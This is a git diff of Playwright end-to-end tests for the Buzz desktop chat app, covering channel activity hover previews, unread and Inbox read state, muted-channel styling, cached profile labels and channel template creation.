+    ({ channelId, feedItems, senderPubkey }) => {
+      const pushFeedItem = (
+        window as Window & {
+          __BUZZ_E2E_PUSH_MOCK_FEED_ITEM__?: (item: {
+            category: "mention";
+            channel_id: string;
+            channel_name: string;
+            channel_type: "stream";
+            content: string;
+            created_at: number;
+            id: string;
+            kind: number;
+            pubkey: string;
+            tags: string[][];
+          }) => void;
+        }
+      ).__BUZZ_E2E_PUSH_MOCK_FEED_ITEM__;
+      if (!pushFeedItem) {
+        throw new Error("Mock feed injection helper is unavailable");
+      }
+      const createdAt = Math.floor(Date.now() / 1_000) - 300;
+      for (const item of feedItems) {
+        pushFeedItem({
+          category: "mention",
+          channel_id: channelId,
+          channel_name: "general",
+          channel_type: "stream",
+          content: item.content,
+          created_at: createdAt,
+          id: item.id,
+          kind: 9,
+          pubkey: senderPubkey,
+          tags: item.tags,
+        });
+      }
+    },
+    {
+      channelId: CHANNEL_GENERAL,
+      feedItems: items,
+      senderPubkey: TEST_IDENTITIES.alice.pubkey,
+    },
+  );
+}
+
+async function getForcedUnreadSources(page: Page): Promise<string[]> {
+  return page.evaluate(
+    ({ channelId, pubkey }) => {
+      const raw = window.localStorage.getItem(
+        `buzz-forced-unread.v1:${pubkey}`,
+      );
+      if (!raw) return [];
+      const entry = JSON.parse(raw)?.[channelId];
+      if (entry === undefined) return [];
+      return typeof entry === "object" && entry !== null
+        ? (entry.sources ?? [])
+        : ["manual"];
+    },
+    { channelId: CHANNEL_GENERAL, pubkey: SELF_PUBKEY },
+  );
+}
+
+async function seedChannelActivity(
+  page: Page,
+  {
+    extraThreadCount = 0,
+    includeAgent = true,
+  }: { extraThreadCount?: number; includeAgent?: boolean } = {},
+) {
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("general");
+  await waitForMockLiveSubscription(page, "general");
+
+  const ownRoot = await emitMockMessage(
+    page,
+    "How should the handoff work for longer agent tasks?",
+    {
+      pubkey: SELF_PUBKEY,
+      createdAt: Math.floor(Date.now() / 1000) - 20,
+    },
+  );
+  const extraRoots = await Promise.all(
+    Array.from({ length: extraThreadCount }, (_, index) =>
+      emitMockMessage(page, `Overflow preview thread ${index + 1}`, {
+        pubkey: SELF_PUBKEY,
+        createdAt: Math.floor(Date.now() / 1000) - 19 + index,
+      }),
+    ),
+  );
+
+  await page.getByTestId("channel-random").click();
+  await expect(page.getByTestId("chat-title")).toHaveText("random");
+
+  const unreadAt = Math.floor(Date.now() / 1000) + 60;
+  await emitMockMessage(
+    page,
+    "I tightened the empty state and added the direct thread link.",
+    {
+      parentEventId: "mock-general-welcome",
+      pubkey: TEST_IDENTITIES.alice.pubkey,
+      createdAt: unreadAt,
+      mentionPubkeys: [SELF_PUBKEY],
+    },
+  );
+  await emitMockMessage(
+    page,
+    "The updated interaction keeps context visible without opening the channel first.",
+    {
+      parentEventId: ownRoot.id,
+      pubkey: TEST_IDENTITIES.bob.pubkey,
+      createdAt: unreadAt + 1,
+    },
+  );
+  await Promise.all(
+    extraRoots.map((root, index) =>
+      emitMockMessage(
+        page,
+        `A new reply in overflow preview thread ${index + 1}`,
+        {
+          parentEventId: root.id,
+          pubkey: TEST_IDENTITIES.alice.pubkey,
+          createdAt: unreadAt + 2 + index,
+        },
+      ),
+    ),
+  );
+
+  if (includeAgent) {
+    await page.waitForFunction(
+      () =>
+        typeof (window as Window & { __BUZZ_E2E_SEED_ACTIVE_TURNS__?: unknown })
+          .__BUZZ_E2E_SEED_ACTIVE_TURNS__ === "function",
+    );
+    await page.evaluate(
+      ({ agentPubkey, channelId }) => {
+        (
+          window as Window & {
+            __BUZZ_E2E_SEED_ACTIVE_TURNS__?: (input: {
+              agentPubkey: string;
+              channelId: string;
+              turnId: string;
+            }) => void;
+          }
+        ).__BUZZ_E2E_SEED_ACTIVE_TURNS__?.({
+          agentPubkey,
+          channelId,
+          turnId: "channel-hover-preview",
+        });
+      },
+      { agentPubkey: AGENT_PUBKEY, channelId: CHANNEL_GENERAL },
+    );
+  }
+
+  await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+  if (includeAgent) {
+    await expect(page.getByTestId("channel-working-general")).toBeVisible();
+  }
+}
+
+async function openActivityPopover(page: Page) {
+  await page.getByTestId("channel-general").hover();
+  const popover = page.getByTestId("channel-activity-popover-general");
+  await expect(popover).toBeVisible();
+  return popover;
+}
+
+test.describe("channel activity hover preview", () => {
+  test.beforeEach(async ({ page }) => {
+    await installMockBridge(page, {
+      managedAgents: [
+        {
+          pubkey: AGENT_PUBKEY,
+          name: "Charlie",
+          status: "running",
+          channelNames: ["general"],
+        },
+      ],
+    });
+  });
+
+  test("shows unread channel activity and working agents, then opens the selected thread", async ({
+    page,
+  }) => {
+    await seedChannelActivity(page, { extraThreadCount: 5 });
+    const popover = await openActivityPopover(page);
+
+    await waitForAnimations(page);
+    const enterScale = await popover.evaluate((element) =>
+      getComputedStyle(element).getPropertyValue("--tw-enter-scale"),
+    );
+    expect(enterScale).toBe("1");
+
+    const heading = popover.getByRole("heading", {
+      name: "Channel activity",
+    });
+    await expect(heading).toBeVisible();
+    await expect(heading).toHaveCSS("backdrop-filter", /blur/);
+    const activityScroll = popover.getByTestId("channel-activity-scroll");
+    await expect(activityScroll).toHaveCSS("overflow-y", "auto");
+    await expect(activityScroll.getByRole("heading")).toHaveCount(0);
+    await expect
+      .poll(() =>
+        activityScroll.evaluate(
+          (element) => element.scrollHeight > element.clientHeight,
+        ),
+      )
+      .toBe(true);
+    await waitForAnimations(page);
+    const headingY = (await heading.boundingBox())?.y;
+    const scrollY = (await activityScroll.boundingBox())?.y;
+    const headingBottom = await heading.evaluate(
+      (element) => element.getBoundingClientRect().bottom,
+    );
+    expect(scrollY).toBeGreaterThanOrEqual(headingBottom - 1);
+    await activityScroll.evaluate((element) => {
+      element.scrollTop = element.scrollHeight;
+    });
+    await expect
+      .poll(() => activityScroll.evaluate((element) => element.scrollTop))
+      .toBeGreaterThan(0);
+    const scrolledHeadingY = (await heading.boundingBox())?.y;
+    expect(headingY).toBeDefined();
+    expect(scrolledHeadingY).toBeDefined();
+    expect(Math.abs((scrolledHeadingY ?? 0) - (headingY ?? 0))).toBeLessThan(
+      0.5,
+    );
+    await activityScroll.evaluate((element) => {
+      element.scrollTop = 0;
+    });
+    await expect
+      .poll(() =>
+        activityScroll.evaluate(
+          (element) =>
+            getComputedStyle(element, "::-webkit-scrollbar-thumb")
+              .backgroundColor,
+        ),
+      )
+      .toMatch(/0\.15\)/);
+    await expect(popover.getByTestId(/^channel-activity-item-/)).toHaveCount(7);
+    await expect(popover).toContainText(
+      "I tightened the empty state and added the direct thread link.",
+    );
+    await expect(popover.getByRole("heading")).toHaveCount(1);
+    await expect(
+      popover.getByTestId(`channel-activity-agent-${AGENT_PUBKEY}`),
+    ).toContainText("Charlie");
+    await expect(
+      popover.getByTestId(`channel-activity-agent-${AGENT_PUBKEY}`),
+    ).toContainText("Working");
+    const orderedRows = popover.locator(
+      '[data-testid^="channel-activity-agent-"], [data-testid^="channel-activity-item-"]',
+    );
+    await expect(orderedRows.first()).toHaveAttribute(
+      "data-testid",
+      `channel-activity-agent-${AGENT_PUBKEY}`,
+    );
+
+    await waitForAnimations(page);
+    await page.screenshot({
+      clip: { x: 0, y: 80, width: 720, height: 640 },
+      path: "test-results/channel-activity-hover/channel-activity-popover.png",
+    });
+
+    const targetRow = popover
+      .getByTestId(/^channel-activity-item-/)
+      .filter({ hasText: "direct thread link" });
+    await targetRow.getByRole("button", { name: /Open thread/ }).click();
+
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    const threadPanel = page.getByTestId("message-thread-panel");
+    await expect(threadPanel).toBeVisible();
+    await expect(threadPanel).toContainText("direct thread link");
+  });
+
+  test("removes the dot and preview after the final activity is read", async ({
+    page,
+  }) => {
+    await seedChannelActivity(page, { includeAgent: false });
+    const popover = await openActivityPopover(page);
+    await expect(popover.getByTestId(/^channel-activity-item-/)).toHaveCount(2);
+
+    for (let remaining = 1; remaining >= 0; remaining -= 1) {
+      const row = popover.getByTestId(/^channel-activity-item-/).first();
+      await row.hover();
+      await row.getByRole("button", { name: "Mark as read" }).click();
+      await expect(popover.getByTestId(/^channel-activity-item-/)).toHaveCount(
+        remaining,
+      );
+    }
+
+    await expect(page.getByTestId("channel-unread-dot-general")).toHaveCount(0);
+    await expect(
+      page.getByTestId("channel-activity-popover-general"),
+    ).toHaveCount(0);
+  });
+
+  test("groups multiple unread replies against the previewed channel", async ({
+    page,
+  }) => {
+    await seedChannelActivity(page, { includeAgent: false });
+    await emitMockMessage(
+      page,
+      "A second unread reply should stay grouped with this thread.",
+      {
+        parentEventId: "mock-general-welcome",
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        createdAt: Math.floor(Date.now() / 1_000) + 120,
+        mentionPubkeys: [SELF_PUBKEY],
+      },
+    );
+
+    const popover = await openActivityPopover(page);
+    const groupedRow = popover
+      .getByTestId(/^channel-activity-item-/)
+      .filter({ hasText: "direct thread link" });
+    await expect(groupedRow).toContainText("2 unread");
+  });
+
+  test("marks projected thread activity read from the active channel menu", async ({
+    page,
+  }) => {
+    await seedChannelActivity(page, { includeAgent: false });
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+
+    await page.getByTestId("channel-general").click({ button: "right" });
+    await expect(
+      page.getByRole("menuitem", { name: "Mark as read" }),
+    ).toBeVisible();
+    await expect(
+      page.getByRole("menuitem", { name: "Mark unread" }),
+    ).toHaveCount(0);
+    await page.getByRole("menuitem", { name: "Mark as read" }).click();
+
+    await expect(page.getByTestId("channel-unread-dot-general")).toHaveCount(0);
+  });
+
+  test("marks projected thread activity read in the active channel with Shift+Escape", async ({
+    page,
+  }) => {
+    await seedChannelActivity(page, { includeAgent: false });
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+
+    const shortcutHandled = await page.evaluate(() => {
+      const event = new KeyboardEvent("keydown", {
+        bubbles: true,
+        cancelable: true,
+        key: "Escape",
+        shiftKey: true,
+      });
+      window.dispatchEvent(event);
+      return event.defaultPrevented;
+    });
+    expect(shortcutHandled).toBe(true);
+
+    await expect(page.getByTestId("channel-unread-dot-general")).toHaveCount(0);
+    await page.getByTestId("channel-general").hover();
+    await expect(
+      page.getByTestId("channel-activity-popover-general"),
+    ).toHaveCount(0);
+  });
+
+  test("supports row actions and opens an agent's scoped activity", async ({
+    page,
+  }) => {
+    await seedChannelActivity(page);
+    let popover = await openActivityPopover(page);
+    const initialRows = popover.getByTestId(/^channel-activity-item-/);
+    await expect(initialRows).toHaveCount(2);
+
+    const firstRow = initialRows.first();
+    await firstRow.hover();
+    await firstRow.getByRole("button", { name: "Mark as read" }).click();
+    await expect(popover.getByTestId(/^channel-activity-item-/)).toHaveCount(1);
+
+    const remainingRow = popover.getByTestId(/^channel-activity-item-/).first();
+    await remainingRow.hover();
+    await remainingRow.getByRole("button", { name: "Remind me later" }).click();
+    await expect(
+      page.getByRole("dialog").getByText("Remind me later"),
+    ).toBeVisible();
+    await page.getByRole("button", { name: "Cancel" }).click();
+
+    popover = await openActivityPopover(page);
+    await popover.getByTestId(`channel-activity-agent-${AGENT_PUBKEY}`).click();
+
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await expect(page.getByTestId("agent-session-agent-name")).toContainText(
+      "Charlie",
+    );
+    await expect(page.getByTestId("agent-session-scope-label")).toContainText(
+      "#general",
+    );
+  });
+
+  test("keeps multiple Inbox threads visible after opening their channel", async ({
+    page,
+  }) => {
+    const inboxItemIds = [
+      "older-inbox-thread-for-hover",
+      "second-inbox-thread-for-hover",
+    ];
+    await page.goto("/");
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await page.getByRole("button", { name: "Inbox", exact: true }).click();
+    await expect(page.getByTestId("home-inbox-list")).toBeVisible();
+    await pushMockInboxFeedItems(
+      page,
+      inboxItemIds.map((id, index) => ({
+        content:
+          index === 0
+            ? "Older Inbox thread reopened for hover testing."
+            : "A second Inbox thread reopened for hover testing.",
+        id,
+        tags: [
+          ["h", CHANNEL_GENERAL],
+          [
+            "e",
+            index === 0
+              ? "older-inbox-thread-root"
+              : "second-inbox-thread-root",
+            "",
+            "root",
+          ],
+          [
+            "e",
+            index === 0
+              ? "older-inbox-thread-parent"
+              : "second-inbox-thread-parent",
+            "",
+            "reply",
+          ],
+          ["p", TEST_IDENTITIES.tyler.pubkey],
+        ],
+      })),
+    );
+
+    for (const itemId of inboxItemIds) {
+      const inboxRow = page.getByTestId(`home-inbox-item-${itemId}`);
+      await expect(inboxRow).toBeVisible();
+      await inboxRow.hover();
+      await inboxRow.getByRole("button", { name: "Mark as read" }).click();
+      await inboxRow.hover();
+      await inboxRow.getByRole("button", { name: "Mark unread" }).click();
+    }
+
+    await expect(page.getByTestId("channel-general")).toHaveCSS(
+      "font-weight",
+      "700",
+    );
+    for (const [index, itemId] of inboxItemIds.entries()) {
+      const inboxRow = page.getByTestId(`home-inbox-item-${itemId}`);
+      await inboxRow.hover();
+      await inboxRow.getByRole("button", { name: "Mark as read" }).click();
+      if (index === 0) {
+        await expect(page.getByTestId("channel-general")).toHaveCSS(
+          "font-weight",
+          "700",
+        );
+      }
+    }
+    await expect(page.getByTestId("channel-general")).not.toHaveCSS(
+      "font-weight",
+      "700",
+    );
+    for (const itemId of inboxItemIds) {
+      const inboxRow = page.getByTestId(`home-inbox-item-${itemId}`);
+      await inboxRow.hover();
+      await inboxRow.getByRole("button", { name: "Mark unread" }).click();
+    }
+
+    await expect(page.getByTestId("channel-general")).toHaveCSS(
+      "font-weight",
+      "700",
+    );
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+    await page.mouse.move(900, 680);
+    let popover = await openActivityPopover(page);
+    await expect(popover.getByTestId(/^channel-activity-item-/)).toHaveCount(2);
+    await expect(popover).toContainText("Older Inbox thread reopened");
+    await expect(popover).toContainText("A second Inbox thread reopened");
+    await expect(popover.getByText("Thread", { exact: true })).toHaveCount(2);
+
+    await popover
+      .getByTestId(/^channel-activity-item-/)
+      .filter({ hasText: "Older Inbox thread reopened" })
+      .getByRole("button", { name: /Open thread/ })
+      .click();
+    await expect(popover).toBeHidden();
+    await page.mouse.move(900, 680);
+    popover = await openActivityPopover(page);
+    await expect(popover.getByTestId(/^channel-activity-item-/)).toHaveCount(1);
+    await expect(popover).not.toContainText("Older Inbox thread reopened");
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+    await expect(page.getByTestId("channel-general")).toHaveCSS(
+      "font-weight",
+      "400",
+    );
+
+    await page.mouse.move(900, 680);
+    await expect(popover).toBeHidden();
+    await page.getByRole("button", { name: "Inbox", exact: true }).click();
+    const topLevelItemId = "top-level-inbox-item-for-channel-read";
+    await pushMockInboxFeedItems(page, [
+      {
+        content: "Top-level Inbox item reopened for channel read testing.",
+        id: topLevelItemId,
+        tags: [
+          ["h", CHANNEL_GENERAL],
+          ["p", TEST_IDENTITIES.tyler.pubkey],
+        ],
+      },
+    ]);
+    const topLevelInboxRow = page.getByTestId(
+      `home-inbox-item-${topLevelItemId}`,
+    );
+    await expect(topLevelInboxRow).toBeVisible();
+    await topLevelInboxRow.hover();
+    await topLevelInboxRow.getByRole("button", { name: "Mark unread" }).click();
+    await page.getByTestId("channel-general").click({ button: "right" });
+    await page.getByRole("menuitem", { name: "Mark as read" }).click();
+    await topLevelInboxRow.hover();
+    await expect(
+      topLevelInboxRow.getByRole("button", { name: "Mark unread" }),
+    ).toBeVisible();
+    await expect(page.getByTestId("channel-unread-dot-general")).toHaveCount(0);
+    await page.getByTestId("channel-general").hover();
+    await expect(
+      page.getByTestId("channel-activity-popover-general"),
+    ).toHaveCount(0);
+    await page.getByTestId("channel-random").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("random");
+    await expect(page.getByTestId("channel-general")).not.toHaveCSS(
+      "font-weight",
+      "700",
+    );
+  });
+
+  test("reading a grouped Inbox thread preserves an unrelated manual unread", async ({
+    page,
+  }) => {
+    await page.goto("/");
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await waitForMockLiveSubscription(page, "general");
+
+    const manualUnreadMessage = await emitMockMessage(
+      page,
+      "Keep this separate timeline message unread.",
+      {
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        createdAt: Math.floor(Date.now() / 1_000),
+      },
+    );
+    const manualUnreadRow = page
+      .getByTestId("message-row")
+      .filter({ hasText: "Keep this separate timeline message unread." });
+    await manualUnreadRow.hover();
+    await page.getByTestId(`more-actions-${manualUnreadMessage.id}`).click();
+    await page
+      .getByTestId(`mark-read-toggle-${manualUnreadMessage.id}`)
+      .click();
+
+    await page.getByRole("button", { name: "Inbox", exact: true }).click();
+    const groupedRootId = "grouped-inbox-root-preserve-manual";
+    const groupedReplyId = "grouped-inbox-reply-preserve-manual";
+    await pushMockInboxFeedItems(page, [
+      {
+        content: "Grouped Inbox root for manual unread preservation.",
+        id: groupedRootId,
+        tags: [
+          ["h", CHANNEL_GENERAL],
+          ["p", TEST_IDENTITIES.tyler.pubkey],
+        ],
+      },
+      {
+        content: "Grouped Inbox reply marked read independently.",
+        id: groupedReplyId,
+        tags: [
+          ["h", CHANNEL_GENERAL],
+          ["e", groupedRootId, "", "root"],
+          ["e", groupedRootId, "", "reply"],
+          ["p", TEST_IDENTITIES.tyler.pubkey],
+        ],
+      },
+    ]);
+    const groupedInboxRow = page.getByTestId(
+      `home-inbox-item-${groupedReplyId}`,
+    );
+    await expect(groupedInboxRow).toBeVisible();
+    await groupedInboxRow.hover();
+    await groupedInboxRow.getByRole("button", { name: "Mark as read" }).click();
+
+    await page.getByTestId("channel-random").click();
+    await expect(page.getByTestId("channel-general")).toHaveCSS(
+      "font-weight",
+      "700",
+    );
+  });
+
+  test("preserves Inbox ownership while another top-level row remains unread", async ({
+    page,
+  }) => {
+    await page.goto("/");
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await page.getByRole("button", { name: "Inbox", exact: true }).click();
+    const topLevelItemIds = [
+      "first-top-level-inbox-owner",
+      "second-top-level-inbox-owner",
+    ];
+    await pushMockInboxFeedItems(
+      page,
+      topLevelItemIds.map((id, index) => ({
+        content: `Top-level Inbox owner ${index + 1}.`,
+        id,
+        tags: [
+          ["h", CHANNEL_GENERAL],
+          ["p", TEST_IDENTITIES.tyler.pubkey],
+        ],
+      })),
+    );
+    for (const itemId of topLevelItemIds) {
+      const inboxRow = page.getByTestId(`home-inbox-item-${itemId}`);
+      await expect(inboxRow).toBeVisible();
+      await inboxRow.hover();
+      await inboxRow.getByRole("button", { name: "Mark unread" }).click();
+    }
+    await expect(page.getByTestId("channel-general")).toHaveCSS(
+      "font-weight",
+      "700",
+    );
+    await expect.poll(() => getForcedUnreadSources(page)).toEqual(["inbox"]);
+
+    await page.getByRole("button", { name: "Inbox", exact: true }).click();
+    for (const [index, itemId] of topLevelItemIds.entries()) {
+      const inboxRow = page.getByTestId(`home-inbox-item-${itemId}`);
+      await inboxRow.hover();
+      await inboxRow.getByRole("button", { name: "Mark as read" }).click();
+      if (index === 0) {
+        await expect(page.getByTestId("channel-general")).toHaveCSS(
+          "font-weight",
+          "700",
+        );
+        await expect
+          .poll(() => getForcedUnreadSources(page))
+          .toEqual(["inbox"]);
+      }
+    }
+    await expect.poll(() => getForcedUnreadSources(page)).toEqual([]);
+  });
+
+  test("surfaces future replies after the user reacts to a thread root", async ({
+    page,
+  }) => {
+    await page.goto("/");
+    await page.getByTestId("channel-general").click();
+    await expect(page.getByTestId("chat-title")).toHaveText("general");
+    await waitForMockLiveSubscription(page, "general");
+
+    const root = await emitMockMessage(
+      page,
+      "Reacting here means I care about future replies.",
+      {
+        pubkey: TEST_IDENTITIES.alice.pubkey,
+        createdAt: Math.floor(Date.now() / 1_000) - 20,
+      },
+    );
+    const rootRow = page
+      .getByTestId("message-row")
+      .filter({ hasText: "Reacting here means I care" });
+    await expect(rootRow).toBeVisible();
+    await rootRow.hover();
+    const actionBar = page.getByTestId(`message-action-bar-${root.id}`);
+    await expect(actionBar).toBeVisible();
+    await actionBar
+      .getByRole("button", { name: /^React with / })
+      .first()
+      .click();
+    await expect(
+      rootRow.getByRole("button", { name: /^Toggle .* reaction$/ }),
+    ).toBeVisible();
+
+    await page.getByTestId("channel-random").click();
+    await emitMockMessage(
+      page,
+      "This follow-up appears because the root was reacted to.",
+      {
+        parentEventId: root.id,
+        pubkey: TEST_IDENTITIES.bob.pubkey,
+        createdAt: Math.floor(Date.now() / 1_000) + 60,
+      },
+    );
+
+    await expect(page.getByTestId("channel-unread-dot-general")).toBeVisible();
+    const popover = await openActivityPopover(page);
+    await expect(popover).toContainText(
+      "This follow-up appears because the root was reacted to.",
+    );
+  });
+});
diff --git a/desktop/tests/e2e/channel-mute.spec.ts b/desktop/tests/e2e/channel-mute.spec.ts
index a710ca245f..13ec88f650 100644
--- a/desktop/tests/e2e/channel-mute.spec.ts
+++ b/desktop/tests/e2e/channel-mute.spec.ts
@@ -81,11 +81,32 @@ test.describe("channel muting", () => {
 
     const engRow = page.getByTestId("channel-engineering");
     await expect(engRow).toBeVisible();
-    await expect(engRow).toHaveCSS("opacity", "0.5");
+    await expect(engRow).toHaveCSS("opacity", "1");
+    await expect(engRow.locator("[data-sidebar-row-label]")).toHaveCSS(
+      "opacity",
+      "0.5",
+    );
+    await expect(engRow.locator("svg.lucide-hash")).toHaveCSS("opacity", "0.5");
     await expect(engRow.locator("svg.lucide-bell-off")).toHaveCount(1);
   });
 
-  test("03 — muted channel with @mention shows unread dot", async ({
+  test("02b — muted channels recede further in dark mode", async ({ page }) => {
+    await page.addInitScript(() => {
+      window.localStorage.setItem("buzz-theme", "buzz-dark");
+    });
+    await seedMuteState(page, ENGINEERING_CHANNEL_ID);
+    await installMockBridge(page);
+
+    await page.goto("/");
+    await page.getByTestId("channel-random").click();
+
+    const mutedLabel = page
+      .getByTestId("channel-engineering")
+      .locator("[data-sidebar-row-label]");
+    await expect(mutedLabel).toHaveCSS("opacity", "0.45");
+  });
+
+  test("03 — muted channel with a top-level @mention is emphasized", async ({
     page,
   }) => {
     await seedMuteState(page, ENGINEERING_CHANNEL_ID);
@@ -123,7 +144,13 @@ test.describe("channel muting", () => {
       },
     );
 
-    await expect(page.getByTestId("channel-unread-engineering")).toBeVisible();
+    await expect(page.getByTestId("channel-engineering")).toHaveCSS(
+      "font-weight",
+      "700",
+    );
+    await expect(
+      page.getByTestId("channel-unread-dot-engineering"),
+    ).toHaveCount(0);
   });
 
   test("04 — context menu shows Unmute channel when muted", async ({
diff --git a/desktop/tests/e2e/channels.spec.ts b/desktop/tests/e2e/channels.spec.ts
index 9da4022420..d58c3303df 100644
--- a/desktop/tests/e2e/channels.spec.ts
+++ b/desktop/tests/e2e/channels.spec.ts
@@ -16,6 +16,7 @@ import {
 const GENERAL_CHANNEL_ID = "9a1657ac-f7aa-5db0-b632-d8bbeb6dfb50";
 const AGENTS_CHANNEL_ID = "94a444a4-c0a3-5966-ab05-530c6ddc2301";
 const MOCK_IDENTITY_PUBKEY = "deadbeef".repeat(8);
+const CACHED_PROFILE_LABELS_TAG = "@cached-profile-labels";
 // Relay-only agent owned by the mock viewer (see e2eBridge.ts
 // OWNED_RELAY_AGENT_PUBKEY). Classified as a bot via mockRelayAgents and
 // owned-by-viewer via its mockProfiles owner_pubkey, so the sidebar
@@ -487,8 +488,13 @@ async function expectIntroActionsShareRow(
   }
 }
 
-test.beforeEach(async ({ page }) => {
-  await installMockBridge(page);
+test.beforeEach(async ({ page }, testInfo) => {
+  await installMockBridge(
+    page,
+    testInfo.tags.includes(CACHED_PROFILE_LABELS_TAG)
+      ? { usersBatchDelayMs: 10_000 }
+      : undefined,
+  );
 });
 
 test("sidebar shows all channel types", async ({ page }) => {
@@ -515,6 +521,41 @@ test("sidebar shows all channel types", async ({ page }) => {
   await expect(dmList).toContainText("bob-tyler");
 });
 
+test("shows cached profile labels while relay profiles revalidate", {
+  tag: CACHED_PROFILE_LABELS_TAG,
+}, async ({ page }) => {
+  await page.addInitScript(
+    ({ alicePubkey }) => {
+      window.localStorage.setItem(
+        "buzz-user-labels.v1:ws://localhost:3000",
+        JSON.stringify({
+          version: 1,
+          updatedAt: Date.now(),
+          profiles: {
+            [alicePubkey]: {
+              displayName: "Cached Alice",
+              name: "alice",
+              nip05Handle: null,
+            },
+          },
+        }),
+      );
+    },
+    { alicePubkey: TEST_IDENTITIES.alice.pubkey },
+  );
+
+  await page.goto("/");
+  await page.getByTestId("channel-general").click();
+
+  const aliceMessage = page
+    .getByTestId("message-row")
+    .filter({ hasText: "Hey team — checking in." });
+  await expect(aliceMessage.getByTestId("message-author")).toHaveText(
+    "Cached Alice",
+    { timeout: 1_000 },
+  );
+});
+
 test("shows presence in sidebar, DM header, and member list", async ({
   page,
 }) => {
@@ -1336,8 +1377,26 @@ test("create channel template selector matches the lifecycle controls", async ({
         description: "Coordinate a new project from planning through launch.",
         channelType: "stream",
         visibility: "private",
-        canvasTemplate: null,
-        agents: { personas: [], teams: [] },
+        canvasTemplate: "# {channel.name}\n\nKickoff notes",
+        agents: {
+          personas: [
+            {
+              personaId: "planner",
+              runtime: null,
+              model: null,
+              role: null,
+              backend: null,
+            },
+          ],
+          teams: [
+            {
+              teamId: "research-team",
+              runtime: null,
+              model: null,
+              backend: null,
+            },
+          ],
+        },
         isBuiltin: false,
         createdAt: "2026-07-23T00:00:00Z",
         updatedAt: "2026-07-23T00:00:00Z",
@@ -1350,17 +1409,74 @@ test("create channel template selector matches the lifecycle controls", async ({
 
   const templateControl = page.getByTestId("create-channel-template");
   await expect(templateControl).toHaveRole("button");
-  await expect(templateControl).toHaveText("No template");
+  await expect(templateControl).toHaveText("None");
   await templateControl.click();
+  await expect(
+    page.getByRole("menuitem", { name: "Create new channel template…" }),
+  ).toBeVisible();
   await page.getByRole("menuitemradio", { name: "Project kickoff" }).click();
 
   await expect(templateControl).toHaveText("Project kickoff");
+  await expect(page.getByTestId("create-channel-template-summary")).toHaveText(
+    "Private · Canvas included · 1 agent · 1 team",
+  );
   await expect(page.getByTestId("create-channel-description")).toHaveValue(
     "Coordinate a new project from planning through launch.",
   );
   await expect(page.getByTestId("create-channel-permissions")).toContainText(
     "Private",
   );
+  await page.getByTestId("create-channel-permissions").click();
+  await page.getByTestId("create-channel-permissions-option-open").click();
+  await expect(page.getByTestId("create-channel-template-summary")).toHaveText(
+    "Open · Canvas included · 1 agent · 1 team",
+  );
+});
+
+test("create channel exposes templates when the library is empty", async ({
+  page,
+}) => {
+  await installMockBridge(page, { channelTemplates: [] });
+  await page.goto("/");
+  await openCreateChannelDialog(page);
+
+  const typeContainer = page.getByTestId(
+    "create-channel-channel-type-container",
+  );
+  const visibilityContainer = page.getByTestId(
+    "create-channel-permissions-container",
+  );
+  const templateContainer = page.getByTestId(
+    "create-channel-template-container",
+  );
+  await expect(templateContainer).toContainText("TemplateOptional");
+  const typeBox = await typeContainer.boundingBox();
+  const visibilityBox = await visibilityContainer.boundingBox();
+  const templateBox = await templateContainer.boundingBox();
+  expect(typeBox).not.toBeNull();
+  expect(visibilityBox).not.toBeNull();
+  expect(templateBox).not.toBeNull();
+  expect(typeBox?.y ?? 0).toBeLessThan(visibilityBox?.y ?? 0);
+  expect(visibilityBox?.y ?? 0).toBeLessThan(templateBox?.y ?? 0);
+
+  const templateControl = page.getByTestId("create-channel-template");
+  await expect(templateControl).toHaveText("None");
+  await templateControl.click();
+  await page
+    .getByRole("menuitem", { name: "Create new channel template…" })
+    .click();
+
+  await expect(
+    page.getByText("Create template", { exact: true }),
+  ).toBeVisible();
+  await page.locator("#template-name").fill("Weekly planning");
+  await page.locator("#template-description").fill("Plan the next week.");
+  await page.getByRole("button", { name: "Create", exact: true }).click();
+
+  await expect(templateControl).toHaveText("Weekly planning");
+  await expect(page.getByTestId("create-channel-description")).toHaveValue(
+    "Plan the next week.",
+  );
 });
 
 test("create ephemeral stream shows sidebar and header affordances", async ({
@@ -1751,59 +1867,80 @@ test("channel date divider keeps the date sticky while the separator rule scroll
 
   const timeline = page.getByTestId("message-timeline");
   await timeline.evaluate((element) => {
-    const firstGroup = element.querySelector<HTMLElement>(
-      '[data-testid="message-timeline-day-group"]',
-    );
-    if (!firstGroup) {
-      throw new Error("missing first day group");
-    }
-    const groupRect = firstGroup.getBoundingClientRect();
-    const stickyTop = Number.parseFloat(
-      getComputedStyle(
-        firstGroup.querySelector<HTMLElement>(
-          '[data-testid="message-timeline-day-divider"]',
-        ) ?? firstGroup,
-      ).top,
-    );
-    element.scrollTop +=
-      groupRect.top - (element.getBoundingClientRect().top + stickyTop - 32);
+    element.scrollTop = element.scrollHeight * 0.2;
     element.dispatchEvent(new Event("scroll", { bubbles: true }));
   });
-  await page.waitForTimeout(50);
+
+  const [headerBox, stickyPillBox] = await Promise.all([
+    page.getByTestId("chat-header").boundingBox(),
+    page
+      .getByTestId("message-timeline-sticky-day-divider-content")
+      .locator("p")
+      .first()
+      .boundingBox(),
+  ]);
+  if (!headerBox || !stickyPillBox) {
+    throw new Error("missing channel header or sticky day divider");
+  }
+  expect(
+    Math.abs(stickyPillBox.y - (headerBox.y + headerBox.height) - 8),
+  ).toBeLessThanOrEqual(1);
